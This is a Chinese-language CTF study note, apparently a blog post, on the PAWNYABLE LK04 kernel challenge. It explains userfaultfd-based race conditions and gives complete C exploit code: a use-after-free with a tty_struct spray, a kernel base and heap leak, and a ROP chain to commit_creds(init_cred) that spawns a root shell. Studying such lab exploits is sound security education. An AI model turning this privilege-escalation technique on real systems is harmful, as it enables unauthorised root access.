PAWNYABLE kernel userfaultfd 笔记
感觉这个是比较古老(2020 左右的)用法了,看看即可?
概念
userfaultfd 可以类比成一个缺页异常的 handler,如果 handler 可以处理很久,那可能更好达到竞争的效果
工作流程
参考 Kernel Pwn Syscall userfaultfd and Syscall setxattr - Wings 的博客
户通过userfaultfd
系统调用接收文件描述符,并使用ioctl
将处理程序和地址等设置应用于它。当设置了 userfaultfd 的页面(第一次访问)发生页面错误时,将调用设置的处理程序,用户可以指定返回哪种数据(映射)。
在 CTF 题中通常用来卡条件竞争. 当内核模块中有 copy from/to user 的时候, 内核模块会访问用户的空间. 如果我们传入的是一个被 uffd 监视的地址, 那么这个线程将会被挂起直到处理结束. 这样就能够控制内核中线程的执行顺序, 从而更好的达到想要的竞争效果.
可能涉及了保护措施
大概是 linux-5.11 之后默认开启
对于没有
CAP_SYS_PTRACE
的用户以完全权限使用userfaultfd
,必须将unprivileged_userfaultfd
标志设置为 1。这个标志是/proc/sys/vm/unprivileged_userfaultfd
可以通过 进行设置和查看,默认设置为0,但可以确认在LK04机器上设置为1。
使用实例 ,参考 userfaultfd 的使用 - CTF Wiki:
先用 userfaultfd 系统调用获得一个 fd
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
ioctl 初始化和配置 API,还有一些信息:起始地址和长度和模式
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
fatal("ioctl(UFFDIO_API)");
uffdio_register.range.start = (unsigned long)addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
fatal("UFFDIO_REGISTER");
启动一个进程来监听缺页异常:
if (pthread_create(&th, NULL, fault_handler_thread, (void*)uffd))
fatal("pthread_create");
在 handler 函数中,poll 用于检测 fd 上的读写和出错事件,来检查是不是有事件(异常发生了)
for (;;)
{
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
/*
* [在这停顿.jpg]
* 当 poll 返回时说明出现了缺页异常
* 你可以在这里插入一些比如说 sleep() 一类的操作,
* 例如等待其他进程完成对象的重分配后再重新进行拷贝一类的,也可以直接睡死 :)
*/
if (nready == -1)
errExit("poll");
nread = read(uffd, &msg, sizeof(msg));
在 handler 里面可以自定义需要拷贝进去什么数据,使用操作 UFFDIO_COPY
,把指定数据拷贝到指定位置。除了 copy 也有其他选择:
UFFDIO_COPY
:将用户自定义数据拷贝到 faulting page 上,注意是预写数据,提前拷贝之后要走正常的流程的UFFDIO_ZEROPAGE
:将 faulting page 置 0UFFDIO_WAKE
:用于配合上面两项中UFFDIO_COPY_MODE_DONTWAKE
和UFFDIO_ZEROPAGE_MODE_DONTWAKE
模式实现批量填充
uffdio_copy.src = (unsigned long) uffd_src_page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(uffd_src_page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");
如果在 handler 函数里面,把本来应该读取的内容给 free 了,换成其他的结构体比如 tty structure,再读出来,这就完成了泄露。
神奇
userfaultfd 的内部机制可以看 Linux Kernel Userfaultfd 内部机制探究 - BrieflyX's Base
好奇为什么要用 fd 来实现这个功能,可能是方便 poll 和 ioctl 的控制操作?
驱动程序分析
代码实现了一个双链的结构。INIT_LIST_HEAD
用于初始化链表头,list_ad
和 list_del
用于插入删除。
双链的成员是:
typedef struct {
int id;
size_t size;
char *data;
struct list_head list;
} blob_list;
在这种地方可能发生 race:
long blob_add(struct list_head *top, request_t *req) {
blob_list *new;
/* Check size */
if (req->size > 0x1000)
return -EINVAL;
/* Allocate a new blob structure */
new = (blob_list*)kmalloc(sizeof(blob_list), GFP_KERNEL);
if (unlikely(!new)) return -ENOMEM;
/* Allocate data buffer */
new->data = (char*)kmalloc(req->size, GFP_KERNEL);
if (unlikely(!new->data)) {
kfree(new);
return -ENOMEM;
}
那就模仿写一个 uffd handler 泄露基址一下
#include <inttypes.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <fcntl.h> /* Definition of O_* constants */
#include <sys/syscall.h> /* Definition of SYS_* constants */
#include <linux/userfaultfd.h> /* Definition of UFFD_* constants */
#include <unistd.h>
#include <poll.h>
#include <pthread.h>
#include <stdlib.h>
#include <stdio.h>
#define CMD_ADD 0xf1ec0001
#define CMD_DEL 0xf1ec0002
#define CMD_GET 0xf1ec0003
#define CMD_SET 0xf1ec0004
#define BUF_SIZE 0x400
#define PAGE_SIZE 0x1000
#define TTY_SIZE 0x20
uint64_t kbase;
uint64_t heap;
typedef struct {
int id;
uint64_t size;
char *data;
} request_t;
int fd;
int victim_id;
char buf[PAGE_SIZE];
int tty[TTY_SIZE];
int fault_cnt = 0;
void err_exit(char *msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
exit(-1);
}
void print_hex(char *name, uint64_t addr) { printf("%s %" PRIx64 "\n", name, addr); }
static void *
fault_handler_thread(void *arg)
{
static struct uffd_msg msg;
static int fault_cnt = 0;
long uffd;
struct uffdio_copy uffdio_copy;
ssize_t nread;
uffd = (long) arg;
for (;;)
{
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
/*
* [在这停顿.jpg]
* 当 poll 返回时说明出现了缺页异常
* 你可以在这里插入一些比如说 sleep() 一类的操作,
* 例如等待其他进程完成对象的重分配后再重新进行拷贝一类的,也可以直接睡死 :)
*/
if (nready == -1)
err_exit("poll");
nread = read(uffd, &msg, sizeof(msg));
if (nread == 0)
err_exit("EOF on userfaultfd!\n");
if (nread == -1)
err_exit("read");
if (msg.event != UFFD_EVENT_PAGEFAULT)
err_exit("Unexpected event on userfaultfd\n");
// 在这里可以做的操作是,释放这个 blob 用 tty structure 来替换
// 至于需要 UFFDIO_COPY 什么内容其实就无所谓了
if(fault_cnt++ == 0) {
request_t del_req = {.id = victim_id};
ioctl(fd, CMD_DEL, &del_req);
for(int i = 0; i < TTY_SIZE; i++) {
tty[i] = open("/dev/ptmx", O_RDWR);
}
printf("hackkkkkkkkkkk with tty structure\n");
}
else{
printf("again");
}
uffdio_copy.src = (unsigned long) buf;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address;
uffdio_copy.len = PAGE_SIZE;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
err_exit("ioctl-UFFDIO_COPY");
}
}
void register_uffd(char *fault_addr, uint64_t len, pthread_t *monitor_thread, void *(*handler)(void*)) {
uint64_t uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
err_exit("ioctl-UFFDIO_API");
uffdio_register.range.start = (unsigned long) fault_addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
err_exit("ioctl-UFFDIO_REGISTER");
s = pthread_create(monitor_thread, NULL, handler, (void *) uffd);
if (s != 0)
err_exit("pthread_create");
}
int main() {
char *fault_addr = mmap(0, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
pthread_t monitor_thread;
register_uffd(fault_addr, PAGE_SIZE, &monitor_thread, fault_handler_thread);
fd = open("/dev/fleckvieh", O_RDWR);
request_t add_req = {.id = 0, .size = BUF_SIZE, .data = buf};
victim_id = ioctl(fd, CMD_ADD, &add_req);
request_t get_req = {.id = victim_id, .size = BUF_SIZE, .data = fault_addr};
ioctl(fd, CMD_GET, &get_req);
// for(int i = 0; i < PAGE_SIZE/2; i+= 8) {
// printf("%d\n", i);
// print_hex("fault_addr", *(uint64_t *)(fault_addr + i));
// }
kbase = *(uint64_t *)(fault_addr + 584) - 0x334da0;
heap = *(uint64_t *)(fault_addr + 56);
print_hex("kbase", kbase);
print_hex("heap", heap);
}
在原博客里面提到了
从泄露的数据中您可能会注意到,
tty_struct
开头的数据尚未被复制。 (本来有类似tty_operation
之类的东西,但是前0x30字节全是0。)
这是由调用 copy_too_user 时数据大小过大造成的。copy_to_user 会从受害者的某个区域复制数据,但会尝试从开头复制。 这就是首次发生页面故障的地方,因此开头的字节序列是发生 UAF 之前的字节序列。
原来是 copy_to_user 已经读了一部分,所以开头是 0,剩下的内容还没有读过,等到变成 tty structure 之后继续读取...
泄露地址不只是找到 kbase 和 kheap,还需要拿到一下 dev (偏移 0x18)的地址,所以可能需要两次 uaf read。
复写 tty structure
使用 set 方法覆盖回一个 tty structure。但是由于写回去的 tty structure 的地址大概率不是之前的那个,所以需要大量 add,写上构造好的 ops 和 rop chain,这样说不定就可以覆盖到之前泄露地址的堆块
uint64_t rop_chain[] = {0,
pop_rdi_ret + kbase,
init_cred + kbase,
commit_creds + kbase,
srrartu + kbase + 22,
0x1,
0x2,
(uint64_t)&binsh,
user_cs,
user_rflags,
user_sp,
user_ss};
print_hex("what!!!!!!", *(uint64_t *)(fault_addr + 0x1000 + 0x10));
memcpy(buf, fault_addr, 0x400);
*(uint64_t *)(buf + 0) = 0x0000000100005401; // magic
*(uint64_t *)(buf + 0x10) =
*(uint64_t *)(fault_addr + 0x1000 + 0x10); // dev
*(uint64_t *)(buf + 0x18) = heap; // ops
*(uint64_t *)(buf + 0x60) = push_rdx_pop_rsp_pop_ret + kbase;
....
request_t add_req = {.id = 0, .size = BUF_SIZE, .data = buf};
for (int i = 0; i < 0x100; i++) {
ioctl(fd, CMD_ADD, &add_req);
}
init_cred 怎么找
ida 看 vmlinux_symbol 就行
struct cred *prepare_kernel_cred(struct task_struct *daemon)
{
const struct cred *old;
struct cred *new;
new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
if (!new)
return NULL;
kdebug("prepare_kernel_cred() alloc %p", new);
if (daemon)
old = get_task_cred(daemon);
else
old = get_cred(&init_cred);
validate_creds(old);
dword_FFFFFFFF81E37480
就是 init_cred
if ( a1 )
{
task_cred = (signed __int32 *)get_task_cred(a1);
}
else
{
dword_FFFFFFFF81E374F0 = 0;
_InterlockedIncrement(dword_FFFFFFFF81E37480);
task_cred = dword_FFFFFFFF81E37480;
}
exp
#include <fcntl.h> /* Definition of O_* constants */
#include <inttypes.h>
#include <linux/userfaultfd.h> /* Definition of UFFD_* constants */
#include <poll.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h> /* Definition of SYS_* constants */
#include <unistd.h>
#define CMD_ADD 0xf1ec0001
#define CMD_DEL 0xf1ec0002
#define CMD_GET 0xf1ec0003
#define CMD_SET 0xf1ec0004
#define BUF_SIZE 0x400
#define PAGE_SIZE 0x1000
#define TTY_SIZE 0x10
uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t commit_creds = 0x72830;
uint64_t prepare_kernel_cred = 0x729d0;
uint64_t srrartu = 0x800e10;
uint64_t modprobe_path = 0xe37ea0;
// 0xffffffff8109b0ed: pop rdi; ret;
uint64_t pop_rdi_ret = 0x9b0ed;
// 0xffffffff81f1a1e2: mov rdi, rax; rep movsd dword ptr [rdi], dword ptr [rsi];
// pop rbp; ret;
uint64_t mov_rdi_rax_ret = 0xf1a1e2;
// 0xffffffff81022fe3: pop rcx; ret;
uint64_t pop_rcx_ret = 0x22fe3;
// 0xffffffff8109b13a: push rdx; cmp eax, 0x415b005c; pop rsp; pop rbp; ret;
uint64_t push_rdx_pop_rsp_pop_ret = 0x9b13a;
uint64_t init_cred = 0xE37480;
uint64_t kbase;
uint64_t heap;
typedef struct {
int id;
uint64_t size;
char *data;
} request_t;
int fd;
int victim_id;
char buf[PAGE_SIZE];
int tty[TTY_SIZE];
int fault_cnt = 0;
void binsh() {
puts("get shell");
char *argv[] = {"/bin/sh", NULL};
char *envp[] = {NULL};
execve("/bin/sh", argv, envp);
}
void save_status() {
asm("movq %%cs, %0\n\t"
"movq %%ss, %1\n\t"
"movq %%rsp, %3\n\t"
"pushfq\n\t"
"popq %2\n\t"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp)
: // no input
: "memory");
}
void err_exit(char *msg) {
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
exit(-1);
}
void print_hex(char *name, uint64_t addr) {
printf("%s %" PRIx64 "\n", name, addr);
}
static void *fault_handler_thread(void *arg) {
static struct uffd_msg msg;
static int fault_cnt = 0;
long uffd;
struct uffdio_copy uffdio_copy;
ssize_t nread;
uffd = (long)arg;
for (;;) {
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
/*
* [在这停顿.jpg]
* 当 poll 返回时说明出现了缺页异常
* 你可以在这里插入一些比如说 sleep() 一类的操作,
* 例如等待其他进程完成对象的重分配后再重新进行拷贝一类的,也可以直接睡死
* :)
*/
printf("fault_cnt: %d\n", fault_cnt);
if (nready == -1)
err_exit("poll");
nread = read(uffd, &msg, sizeof(msg));
if (nread == 0)
err_exit("EOF on userfaultfd!\n");
if (nread == -1)
err_exit("read");
if (msg.event != UFFD_EVENT_PAGEFAULT)
err_exit("Unexpected event on userfaultfd\n");
// 在这里可以做的操作是,释放这个 blob 用 tty structure 来替换
// 至于需要 UFFDIO_COPY 什么内容其实就无所谓了
else if (fault_cnt++ == 0) {
request_t del_req = {.id = victim_id};
ioctl(fd, CMD_DEL, &del_req);
for (int i = 0; i < TTY_SIZE; i++) {
tty[i] = open("/dev/ptmx", O_RDWR);
}
printf("UAF read! first time\n");
} else if (fault_cnt++ == 2) {
request_t del_req = {.id = victim_id};
ioctl(fd, CMD_DEL, &del_req);
for (int i = 0; i < TTY_SIZE; i++) {
tty[i] = open("/dev/ptmx", O_RDWR);
}
printf("UAF read second time\n");
} else if (fault_cnt++ == 5) {
request_t add_req = {.id = 0, .size = BUF_SIZE, .data = buf};
for (int i = 0; i < 0x100; i++) {
ioctl(fd, CMD_ADD, &add_req);
}
request_t del_req = {.id = victim_id};
ioctl(fd, CMD_DEL, &del_req);
for (int i = 0; i < TTY_SIZE; i++) {
tty[i] = open("/dev/ptmx", O_RDWR);
}
printf("UAF write\n");
} else {
printf("again\n");
}
uffdio_copy.src = (unsigned long)buf;
uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address;
uffdio_copy.len = PAGE_SIZE;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
err_exit("ioctl-UFFDIO_COPY");
}
}
void register_uffd(char *fault_addr, uint64_t len, pthread_t *monitor_thread,
void *(*handler)(void *)) {
uint64_t uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
err_exit("ioctl-UFFDIO_API");
uffdio_register.range.start = (unsigned long)fault_addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
err_exit("ioctl-UFFDIO_REGISTER");
s = pthread_create(monitor_thread, NULL, handler, (void *)uffd);
if (s != 0)
err_exit("pthread_create");
}
int main() {
save_status();
char *fault_addr = mmap(0, PAGE_SIZE * 5, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
pthread_t monitor_thread;
register_uffd(fault_addr, PAGE_SIZE * 5, &monitor_thread,
fault_handler_thread);
fd = open("/dev/fleckvieh", O_RDWR);
request_t add_req = {.id = 0, .size = BUF_SIZE, .data = buf};
victim_id = ioctl(fd, CMD_ADD, &add_req);
request_t get_req = {.id = victim_id, .size = BUF_SIZE, .data = fault_addr};
ioctl(fd, CMD_GET, &get_req);
kbase = *(uint64_t *)(fault_addr + 584) - 0x334da0;
heap = *(uint64_t *)(fault_addr + 56) - 0x38;
print_hex("kbase", kbase);
print_hex("heap", heap);
for (int i = 0; i < TTY_SIZE; i++) {
close(tty[i]);
}
victim_id = ioctl(fd, CMD_ADD, &add_req);
request_t get_req_2 = {
.id = victim_id, .size = 0x20, .data = fault_addr + 0x1000};
ioctl(fd, CMD_GET, &get_req_2);
for (int i = 0; i < TTY_SIZE; i++) {
close(tty[i]);
}
sleep(2);
uint64_t rop_chain[] = {0,
pop_rdi_ret + kbase,
init_cred + kbase,
commit_creds + kbase,
srrartu + kbase + 22,
0x1,
0x2,
(uint64_t)&binsh,
user_cs,
user_rflags,
user_sp,
user_ss};
memcpy(buf, fault_addr, 0x400);
*(uint64_t *)(buf + 0) = 0x0000000100005401; // magic
*(uint64_t *)(buf + 0x10) =
*(uint64_t *)(fault_addr + 0x1000 + 0x10); // dev
*(uint64_t *)(buf + 0x18) = heap; // ops
*(uint64_t *)(buf + 0x60) = push_rdx_pop_rsp_pop_ret + kbase;
memcpy(buf + 0x100, rop_chain, sizeof(rop_chain));
victim_id = ioctl(fd, CMD_ADD, &add_req);
request_t set_req = {
.id = victim_id, .size = BUF_SIZE, .data = fault_addr + 0x2000};
ioctl(fd, CMD_SET, &set_req);
for (int i = 0; i < TTY_SIZE; i++) {
ioctl(tty[i], heap + 0x100, heap + 0x100);
}
}